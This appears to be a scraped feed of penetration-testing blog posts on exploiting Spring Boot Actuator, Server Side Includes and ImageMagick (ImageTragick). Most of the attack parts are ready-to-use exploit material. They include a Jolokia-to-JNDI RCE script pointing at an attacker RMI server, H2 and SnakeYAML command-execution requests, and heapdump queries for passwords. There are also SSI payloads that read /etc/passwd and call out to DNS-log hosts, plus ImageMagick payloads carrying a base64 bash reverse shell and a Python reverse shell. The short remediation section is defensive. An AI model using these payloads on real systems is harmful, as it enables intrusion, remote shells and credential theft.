malicious RMI server (you can use JNDI-Injection-Exploit), then modify the payload below\nimport requests as req import sys from pprint import pprint import json import ssl import urllib3 import hashlib urllib3.disable_warnings() ssl._create_default_https_context = ssl._create_unverified_context #### Payload #### URL = \u0026#34;http://actuator:8090/\u0026#34; + \u0026#34;/jolokia/\u0026#34; RMI_SERVER = \u0026#34;rmi://[vps]:1099/uqeu9k\u0026#34; #Create the JNDIRealm create_JNDIrealm ={\u0026#34;mbean\u0026#34;: \u0026#34;Tomcat:type=MBeanFactory\u0026#34;,\u0026#34;type\u0026#34;: \u0026#34;EXEC\u0026#34;,\u0026#34;operation\u0026#34;: \u0026#34;createJNDIRealm\u0026#34;,\u0026#34;arguments\u0026#34;: [\u0026#34;Tomcat:type=Engine\u0026#34;]} #Write contextFactory set_contextFactory ={\u0026#34;mbean\u0026#34;: \u0026#34;Tomcat:realmPath=/realm0,type=Realm\u0026#34;,\u0026#34;type\u0026#34;: \u0026#34;WRITE\u0026#34;,\u0026#34;attribute\u0026#34;: \u0026#34;contextFactory\u0026#34;,\u0026#34;value\u0026#34;: \u0026#34;com.sun.jndi.rmi.registry.RegistryContextFactory\u0026#34; } #Write connectionURL as your own public RMI service address set_connectionURL = {\u0026#34;mbean\u0026#34;: \u0026#34;Tomcat:realmPath=/realm0,type=Realm\u0026#34;,\u0026#34;type\u0026#34;: \u0026#34;WRITE\u0026#34;,\u0026#34;attribute\u0026#34;: \u0026#34;connectionURL\u0026#34;,\u0026#34;value\u0026#34;: RMI_SERVER} #Stop the Realm stop_JNDIrealm = {\u0026#34;mbean\u0026#34;: \u0026#34;Tomcat:realmPath=/realm0,type=Realm\u0026#34;,\u0026#34;type\u0026#34;: \u0026#34;EXEC\u0026#34;,\u0026#34;operation\u0026#34;: \u0026#34;stop\u0026#34;,\u0026#34;arguments\u0026#34;: []} #Run the Realm, triggering the JNDI injection start = {\u0026#34;mbean\u0026#34;: \u0026#34;Tomcat:realmPath=/realm0,type=Realm\u0026#34;,\u0026#34;type\u0026#34;: \u0026#34;EXEC\u0026#34;,\u0026#34;operation\u0026#34;: \u0026#34;start\u0026#34;,\u0026#34;arguments\u0026#34;: []} EXPs = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start] for i in EXPs: rep = req.post(URL, json=i) print(rep.text) print(\u0026#34;Done!\u0026#34;) Run the script and you get RCE! No side effects observed\u0026hellip;\n0x05 H2 RCE Spring Boot 2.x has an RCE caused by improper H2 configuration\nGET /actuator/restart returns status code 405 POST /actuator/restart returns status code 415 (without specifying Content-Type) Exploitation process:\n1\nPOST /actuator/env HTTP/1.1 Host: actuator:8080 Content-Type: application/json Content-Length: 348 {\u0026#34;name\u0026#34;:\u0026#34;spring.datasource.hikari.connection-test-query\u0026#34;,\u0026#34;value\u0026#34;:\u0026#34;CREATE ALIAS EXEC AS \u0026#39;String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}\u0026#39;; CALL EXEC(\u0026#39;cmd /c calc.exe\u0026#39;);\u0026#34;} 2\nPOST /actuator/restart HTTP/1.1 Host: actuator:8080 Content-Type: application/json Content-Length: 0 This will crash the service (use with caution!!!)\n0x06 SnakeYAML RCE Pull the vulnerable environment (repository/springcloud-snakeyaml-rce) and run it; running it under docker is recommended.\nFirst, create a payload.yml file and place it in the web directory\n!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL [\u0026#34;http://127.0.0.1:88/payload.jar\u0026#34;] ]] ] Next, clone the https://github.com/artsploit/yaml-payload repository locally, and modify the command to execute in src/artsploit/AwesomeScriptEngineFactory.java, as shown in the figure\nThen, POST /env to update\nPOST /env HTTP/1.1 Host: actuator:9092 Content-Type: application/x-www-form-urlencoded Content-Length: 63 spring.cloud.bootstrap.location=http://127.0.0.1:88/payload.yml Update via the refresh endpoint\nPOST /refresh HTTP/1.1 Host: actuator:9092 Content-Type: application/x-www-form-urlencoded Content-Length: 0 0x07 /heapdump When downloading /heapdump returns 403, /heapdump.json can be downloaded successfully\nEclipse Memory Analyzer :https://www.eclipse.org/mat/downloads.php\nOpen the tool, file-\u0026gt;open heap dump, select the downloaded file, click the OQL tab, type into the query box, and click the red exclamation mark to execute the SQL statement\nFor spring boot 1.x heapdump query results, the final results are stored in the key-value of a java.util.Hashtable$Entry instance select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains(\u0026#34;password\u0026#34;)) For spring boot 2.x heapdump query results, the final results are stored in the key-value pairs of a java.util.LinkedHashMap$Entry instance. This article tested the springboot 2.x version, combined with env information for searching select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains(\u0026#34;password\u0026#34;)) 3. Vulnerability Remediation 0x01 Add Authentication First, in pom.xml, add the dependency\n\u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;spring-boot-starter-security\u0026lt;/artifactId\u0026gt; \u0026lt;/dependency\u0026gt; Then, configure the account and password in application.properties\nmanagement.security.enabled=true security.user.name=admin security.user.password=admin123 After configuration, everything under /* except /info requires basic authentication to access, e.g. http://actuator:8090/env, which affects normal usage~\n0x02 Disable Endpoints (Recommended) First option: disable all endpoints.\nConfigure in application.properties\nendpoints.enabled = false Second option: disable some endpoints\nLikewise configured in application.properties\n①First disable all\n②Then re-enable some endpoints\nendpoints.enabled = false endpoints.metrics.enabled = true endpoints.health.enabled = true The effect looks like this\nAccessing /metrics and /health works fine\nAccessing /env likewise fails\nRefs https://github.com/veracode-research/actuator-testbed https://github.com/jas502n/SpringBoot_Actuator_RCE https://github.com/ananaskr/springboot_actuator https://www.cnblogs.com/websecyw/p/14588407.html https://www.jianshu.com/p/8c18f1e05c94 https://github.com/LandGrey/SpringBootVulExploit ","permalink":"https://www.unc.la/en/posts/penetration/mn1b2c/","summary":"\u003ch1 id=\"0-background\"\u003e0. Background\u003c/h1\u003e\n\u003cp\u003eActuator endpoints allow you to monitor and interact with your application. Spring Boot includes a number of built-in endpoints, and you can add your own as well. For example, the health endpoint provides basic application health information.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/maurosoria/dirsearch\"\u003edirsearch\u003c/a\u003e supports scanning for Actuator endpoints.\u003c/p\u003e\n\u003ch1 id=\"1-vulnerability-detection\"\u003e1. Vulnerability Detection\u003c/h1\u003e\n\u003ch2 id=\"identifying-springboot\"\u003eIdentifying SpringBoot\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e/error\u003c/code\u003e, \u003cfont style=\"color:rgb(0, 0, 0);\"\u003eThere was an unexpected error (type=None, status=\u003c/font\u003e\u003ccode\u003e\u0026lt;font style=\u0026quot;color:rgb(0, 0, 0);\u0026quot;\u0026gt;999\u0026lt;/font\u0026gt;\u003c/code\u003e\u003cfont style=\"color:rgb(0, 0, 0);\"\u003e).\u003c/font\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e/resume\u003c/code\u003e, \u003cfont style=\"color:rgb(0, 0, 0);\"\u003eThere was an unexpected error (type=Method Not Allowed, status=\u003c/font\u003e\u003ccode\u003e\u0026lt;font style=\u0026quot;color:rgb(0, 0, 0);\u0026quot;\u0026gt;405\u0026lt;/font\u0026gt;\u003c/code\u003e\u003cfont style=\"color:rgb(0, 0, 0);\"\u003e).\u003c/font\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFor Spring 1x, they are registered under \u003ccode\u003e/\u003c/code\u003e; in 2x, they were moved to the \u003ccode\u003e/actuator/\u003c/code\u003e base path.\u003c/p\u003e","title":"Spring Actuator Unauthenticated Vulnerability Reproduction Notes"},{"content":"0x00 Cheat Sheet The keywords exec and cmd are case-insensitive, so mixed-case combinations can be considered for bypasses \u0026#34;--\u0026gt;\u0026#39;--\u0026gt;`--\u0026gt;\u0026lt;!--#set var=\u0026#34;wyk\u0026#34; value=\u0026#34;vxjn0kj8s5\u0026#34;--\u0026gt;\u0026lt;!--#set var=\u0026#34;y0m\u0026#34; value=\u0026#34;xzlp2mlau7\u0026#34;--\u0026gt;\u0026lt;!--#echo var=\u0026#34;wyk\u0026#34;--\u0026gt;\u0026lt;!--#echo var=\u0026#34;y0m\u0026#34;--\u0026gt;\u0026lt;!--#eXEc cMd=\u0026#34;nslookup -q=cname vul.ssi.0yuj7c.ceye.io\u0026#34; --\u0026gt; \u0026#34;--\u0026gt;\u0026#39;--\u0026gt;`--\u0026gt;\u0026lt;!--#set var=\u0026#34;wyk\u0026#34; value=\u0026#34;vxjn0kj8s5\u0026#34;--\u0026gt;\u0026lt;!--#set var=\u0026#34;y0m\u0026#34; value=\u0026#34;xzlp2mlau7\u0026#34;--\u0026gt;\u0026lt;!--#echo var=\u0026#34;wyk\u0026#34;--\u0026gt;\u0026lt;!--#echo var=\u0026#34;y0m\u0026#34;--\u0026gt;\u0026lt;!--#eXEc cMd=\u0026#34;cat /etc/passwd\u0026#34; --\u0026gt; Common commands\n# General PoC \u0026lt;!--#eXEc cMd=\u0026#34;ping -c 4 127.0.0.1|| ping -n 4 127.0.0.1 :\u0026#34; --\u0026gt; # Linux \u0026lt;!--#eXEc cMd=\u0026#34;cat /etc/passwd\u0026#34; --\u0026gt; \u0026lt;!--#Exec cmD=\u0026#34;ls\u0026#34; --\u0026gt; \u0026lt;!--#eXEc cMd=\u0026#34;sleep 5\u0026#34; --\u0026gt; # windows \u0026lt;!--#eXEc cMd=\u0026#34;dir\u0026#34; --\u0026gt; 0x01 Concepts The following is compiled from the Apache httpd tutorial[1]; feel free to skip the gray parts (TL;DR):\n(1) What is SSI ssi, commonly known as Server Side Includes, is used to add dynamic content to your existing HTML pages; SSI (uppercase) is used consistently below SSI lets you add dynamically generated content to existing HTML pages without having to serve the whole page through a CGI program or other dynamic technology For example, if you place \u0026lt;font style=\u0026quot;color:rgb(0, 0, 0);background-color:rgb(229, 236, 243);\u0026quot;\u0026gt;\u0026lt;!--#echo var=\u0026quot;DATE_LOCAL\u0026quot; --\u0026gt;\u0026lt;/font\u0026gt; into your HTML, the current time will be displayed when the page is served\nFriday, 11-Jun-2021 00:34:48 PDT The decision on when to use SSI and when to have your page generated entirely by some program usually depends on how much of the page is static and how much must be recomputed each time the page is served. SSI is a great way to add small pieces of information, such as the \u0026lt;font style=\u0026quot;color:#BFBFBF;\u0026quot;\u0026gt;current time\u0026lt;/font\u0026gt;, as shown above. But if most of your page is generated at the time it is served, you need to look for another solution. (2) How to configure SSI To enable ssi, you need to add a configuration that \u0026ldquo;allows parsing of \u0026lt;font style=\u0026quot;color:rgb(0, 51, 102);\u0026quot;\u0026gt;SSI\u0026lt;/font\u0026gt; directives\u0026rdquo; in \u0026lt;font style=\u0026quot;color:rgb(0, 51, 102);\u0026quot;\u0026gt;httpd.conf\u0026lt;/font\u0026gt; or \u0026lt;font style=\u0026quot;color:rgb(0, 51, 102);\u0026quot;\u0026gt;.htaccess\u0026lt;/font\u0026gt;, as follows\nOptions +Includes In addition, you need to tell Apache which files to parse for SSI. The official docs describe two ways to set this up (i, ii):\ni Specify the file type Again, add the following configuration entries to the config file\nAddType text/html .shtml AddOutputFilter INCLUDES .shtml With this, Apache will parse the SSI directives in .shtml files under the corresponding directory.\nBut if you are dealing with an existing codebase and don\u0026rsquo;t want to rename pages one by one, there is method ii\nii Specify XBitHack If you want Apache to parse .html files, besides renaming the .html suffix to .shtml, you can also configure parsing executable **.html**\nXBitHack on That is, to have Apache parse the SSI directives in some .html file, you just need to make that file executable (+x)\nchmod +x pagename.html The drawback of method ii is also obvious: if too many .html files have the +x permission set, Apache will read every file it sends to the client, even those containing no SSI directives at all, which can slow down responses.\n(3) SSI directive syntax \u0026lt;!--#function attribute=value attribute=value ... --\u0026gt; Its format resembles an HTML comment, so if you haven\u0026rsquo;t enabled SSI correctly, the browser will ignore it — but it will still be visible in the HTML source. If you have configured SSI correctly, the directive will be replaced by its result. # Print the current time \u0026lt;!--#echo var=\u0026#34;DATE_LOCAL\u0026#34; --\u0026gt; Friday, 11-Jun-2021 00:34:48 PDT When something goes wrong with the SSI directive in the input, the server usually returns\n[an error occurred while processing this directive] More syntax can be found at w3 (although I tried several directives in the target machine I\u0026rsquo;m about to introduce and none of them worked).\n0x02 Exploitation Here I\u0026rsquo;ll use the Vulnhub target machine HASTE as an example to introduce SSI exploitation\n[\n](https://www.vulnhub.com/entry/haste-1,203/)\nH.A.S.T.E: 1\nVisiting port 80, you only see two forms; the POST parameters are displayed on the .shtml page of the 302 redirect.\nOf course — stored XSS, but that\u0026rsquo;s not our focus here.\nPOST /receipt.php HTTP/1.1 Host: haste Content-Length: 98 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://haste Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4371.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://haste/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close xxx=FUZZexecFUZZ\u0026lt;!--#echo var=\u0026#34;DATE_LOCAL\u0026#34; --\u0026gt;\u0026amp;feedback=FUZZexecFUZZ\u0026lt;!--#echo var=\u0026#34;DATE_LOCAL\u0026#34; --\u0026gt; \u0026lt;!--#echo var=\u0026quot;DATE_LOCAL\u0026quot; --\u0026gt; — injecting the \u0026ldquo;show time\u0026rdquo; code clearly works fine. But executing a command was another matter\u0026hellip;\u0026hellip;\n\u0026lt;!--#exec cmd=\u0026#34;id\u0026#34; --\u0026gt; Overall, the filtering looks like this:\nthe xxx parameter replaces \u0026lt; and \u0026gt; the feedback parameter replaces lowercase exec Nothing exciting — bypassed in an instant\n\u0026lt;!--#exEc cMd=\u0026#34;id\u0026#34; --\u0026gt; \u0026lt;!--#exexecec cmd=\u0026#34;id\u0026#34; --\u0026gt; Next comes command execution to get a shell — nothing remarkable\u0026hellip;\u0026hellip;\n0x03 Summary A certain article on Freebuf was titled [CTF Web Security SSL Injection] — SSL? — I was stunned\u0026hellip;\u0026hellip; You rarely run into this in real engagements, but you should master the basic techniques Effective testing methods:\nFor pages with the .shtml suffix, basically you should FUZZ wherever there is a response echo, using the following characters: \u0026lt; ! # = / . \u0026#34; - \u0026gt; and [a-zA-Z0-9] Burp Suite also supports scanning for SSI vulnerabilities; below is the payload used by Burp, a typical async vulnerability\n\u0026#34;--\u0026gt;\u0026#39;--\u0026gt;`--\u0026gt;\u0026lt;!--#set var=\u0026#34;wyk\u0026#34; value=\u0026#34;vxjn0kj8s5\u0026#34;--\u0026gt;\u0026lt;!--#set var=\u0026#34;y0m\u0026#34; value=\u0026#34;xzlp2mlau7\u0026#34;--\u0026gt;\u0026lt;!--#echo var=\u0026#34;wyk\u0026#34;--\u0026gt;\u0026lt;!--#echo var=\u0026#34;y0m\u0026#34;--\u0026gt;\u0026lt;!--#exec cmd=\u0026#34;nslookup -q=cname ik6an76vfs8suy1zd1238xv1us0lojcbaz2mtai.burpcollaborator.net\u0026#34; --\u0026gt; When writing a scanning PoC, just replace burpcollaborator with your own dnslog address.\nReferences [1] Apache httpd Tutorial: Introduction to Server Side Includeshttp://httpd.apache.org/docs/current/howto/ssi.html\n[2] Reproduction of the Apache SSI Remote Command Execution Vulnerability https://www.cnblogs.com/yuzly/p/11226439.html\n[3] SSI Commands https://www.w3.org/Jigsaw/Doc/User/SSI.html#exec\n[4] Server-Side Includes (SSI) Injection | OWASP Foundationhttps://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection\n[5] WSTG - Latest | OWASP https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/08-Testing_for_SSI_Injection [6] H.A.S.T.E: 1 ~ VulnHub https://www.vulnhub.com/entry/haste-1,203/\n","permalink":"https://www.unc.la/en/posts/penetration/gai7iy/","summary":"\u003ch1 id=\"0x00-cheat-sheet\"\u003e0x00 Cheat Sheet\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eThe keywords \u003ccode\u003eexec\u003c/code\u003e and \u003ccode\u003ecmd\u003c/code\u003e are case-insensitive, so mixed-case combinations can be considered for bypasses\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s2\"\u003e\u0026#34;--\u0026gt;\u0026#39;--\u0026gt;`--\u0026gt;\u0026lt;!--#set var=\u0026#34;\u003c/span\u003ewyk\u003cspan class=\"s2\"\u003e\u0026#34; value=\u0026#34;\u003c/span\u003evxjn0kj8s5\u003cspan class=\"s2\"\u003e\u0026#34;--\u0026gt;\u0026lt;!--#set var=\u0026#34;\u003c/span\u003ey0m\u003cspan class=\"s2\"\u003e\u0026#34; value=\u0026#34;\u003c/span\u003exzlp2mlau7\u003cspan class=\"s2\"\u003e\u0026#34;--\u0026gt;\u0026lt;!--#echo var=\u0026#34;\u003c/span\u003ewyk\u003cspan class=\"s2\"\u003e\u0026#34;--\u0026gt;\u0026lt;!--#echo var=\u0026#34;\u003c/span\u003ey0m\u003cspan class=\"s2\"\u003e\u0026#34;--\u0026gt;\u0026lt;!--#eXEc cMd=\u0026#34;\u003c/span\u003enslookup -q\u003cspan class=\"o\"\u003e=\u003c/span\u003ecname vul.ssi.0yuj7c.ceye.io\u003cspan class=\"s2\"\u003e\u0026#34; --\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s2\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s2\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e--\u0026gt;\u003cspan class=\"err\"\u003e\u0026#39;\u003c/span\u003e--\u0026gt;\u003cspan class=\"sb\"\u003e`\u003c/span\u003e--\u0026gt;\u0026lt;!--#set \u003cspan class=\"nv\"\u003evar\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;wyk\u0026#34;\u003c/span\u003e \u003cspan class=\"nv\"\u003evalue\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;vxjn0kj8s5\u0026#34;\u003c/span\u003e--\u0026gt;\u0026lt;!--#set \u003cspan class=\"nv\"\u003evar\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;y0m\u0026#34;\u003c/span\u003e \u003cspan class=\"nv\"\u003evalue\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;xzlp2mlau7\u0026#34;\u003c/span\u003e--\u0026gt;\u0026lt;!--#echo \u003cspan class=\"nv\"\u003evar\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;wyk\u0026#34;\u003c/span\u003e--\u0026gt;\u0026lt;!--#echo \u003cspan class=\"nv\"\u003evar\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;y0m\u0026#34;\u003c/span\u003e--\u0026gt;\u0026lt;!--#eXEc \u003cspan class=\"nv\"\u003ecMd\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;cat /etc/passwd\u0026#34;\u003c/span\u003e --\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eCommon commands\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-basic\" data-lang=\"basic\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e#\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eGeneral\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003ePoC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026lt;!--\u003c/span\u003e\u003cspan class=\"err\"\u003e#\u003c/span\u003e\u003cspan class=\"vg\"\u003eeXEc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003ecMd\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"err\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"vg\"\u003eping\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"vg\"\u003ec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"il\"\u003e4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e127.0.0.1|\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eping\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"vg\"\u003en\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"il\"\u003e4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e127.0.0.1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e--\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e#\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eLinux\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026lt;!--\u003c/span\u003e\u003cspan class=\"err\"\u003e#\u003c/span\u003e\u003cspan class=\"vg\"\u003eeXEc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003ecMd\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;cat /etc/passwd\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e--\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026lt;!--\u003c/span\u003e\u003cspan class=\"err\"\u003e#\u003c/span\u003e\u003cspan class=\"vg\"\u003eExec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003ecmD\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;ls\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e--\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026lt;!--\u003c/span\u003e\u003cspan class=\"err\"\u003e#\u003c/span\u003e\u003cspan class=\"vg\"\u003eeXEc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003ecMd\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;sleep 5\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e--\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e#\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003ewindows\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026lt;!--\u003c/span\u003e\u003cspan class=\"err\"\u003e#\u003c/span\u003e\u003cspan class=\"vg\"\u003eeXEc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003ecMd\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;dir\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e--\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch1 id=\"0x01-concepts\"\u003e0x01 Concepts\u003c/h1\u003e\n\u003cp\u003eThe following is compiled from the Apache httpd tutorial\u003ca href=\"http://httpd.apache.org/docs/current/howto/ssi.html\"\u003e[1]\u003c/a\u003e; feel free to skip the gray parts (\u003cfont style=\"color:#BFBFBF;\"\u003eTL;DR\u003c/font\u003e):\u003c/p\u003e","title":"A Look at the Classic SSI Injection"},{"content":"0x00 Background ImageMagick is a package commonly used by web services to process images. Multiple vulnerabilities exist when processing user-submitted images: CVE-2016-3714, CVE-2016-3715, CVE-2016-3716, and CVE-2016-3717. The most severe of these is CVE-2016-3714, which can lead to remote code execution (RCE).\nThis vulnerability was discovered by Nikolay Ermishkin, a security researcher on the Mail.Ru security team. The ImageMagick development team was notified and pushed out a quick fix, but it turned out to be incomplete.\nSecurity researcher Ryan Huber stepped in, providing more details about the scope of the vulnerability and offering mitigations until the ImageMagick team delivered the final patch (planned for the weekend).\nMoreover, ImageMagick is a very widely used component. Many vendors invoke this program when processing images, and plenty of open-source applications also include ImageMagick options in their core code.\nAffected versions\nAll versions below 6.9.3-9 are affected.\nAll versions below 6.9.3-9 are affected\n0x01 Exploitation (1) PoC push graphic-context viewbox 0 0 200 200 fill \u0026#39;url(https://example.org/BZVaKhSnwpE/\u0026#34;;sleep \u0026#34;6)\u0026#39; pop graphic-context Of course, in scenarios with a response echo, you can do whatever you want.\n(2) EXP Notes:\nSince the server will request the https address, to avoid delays it is best to fill in a URL that can be reached immediately, such as [https://127.0.0.0/oops.jpg](https://127.0.0.0/oops.jpg) In addition, after a reverse shell is spawned, the server will hang (block). Therefore it is recommended to add nohup and \u0026amp; around the reverse shell code, in the following format. push graphic-context viewbox 0 0 640 480 fill \u0026#39;url(https://127.0.0.0/oops.jpg?`echo bm9odXAgL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMC4xLzEzMzcgMD4mMSAm | base64 -d | bash`\u0026#34;||id \u0026#34; )\u0026#39; pop graphic-context In actual testing, the response came back after 10 seconds.\nYou can also use Python to get a reverse shell, e.g.\nfill \u0026#39;url(https://example.com/image.jpg\u0026#34;|/bin/echo -e \\\u0026#39;import socket\\x2csubprocess\\x2cos;s=socket.socket(socket.af_inet\\x2csocket.sock_stream); s.connect((\u0026#34;xx.xx.24.85\u0026#34;\\x2c443));p=subprocess.call(\\x5b\u0026#34;/bin/sh\u0026#34;\\x2c\u0026#34;-i\u0026#34;\\x5d);\\\u0026#39; \u0026gt; /dev/shm/a.py|python \u0026#34;/dev/shm/a.py)\u0026#39; Let me also briefly summarize the other vulnerabilities; the original site is at https://imagetragick.com/\nCVE-2016-3717 - Local file reading: the contents of files on the server can be retrieved using ImageMagick\u0026#39;s \u0026#34;label:@\u0026#34; pseudo-protocol. CVE-2016-3715 - File deletion: files can be deleted using ImageMagick\u0026#39;s \u0026#34;ephemeral\u0026#34; pseudo-protocol, which deletes files after reading them. CVE-2016-3718 - SSRF: HTTP GET or FTP requests can be issued. CVE-2016-3716 - File moving: by using ImageMagick\u0026#39;s \u0026#39;msl\u0026#39; pseudo-protocol, an image file can be moved to any file with any extension in any folder. (3) Writing a webshell 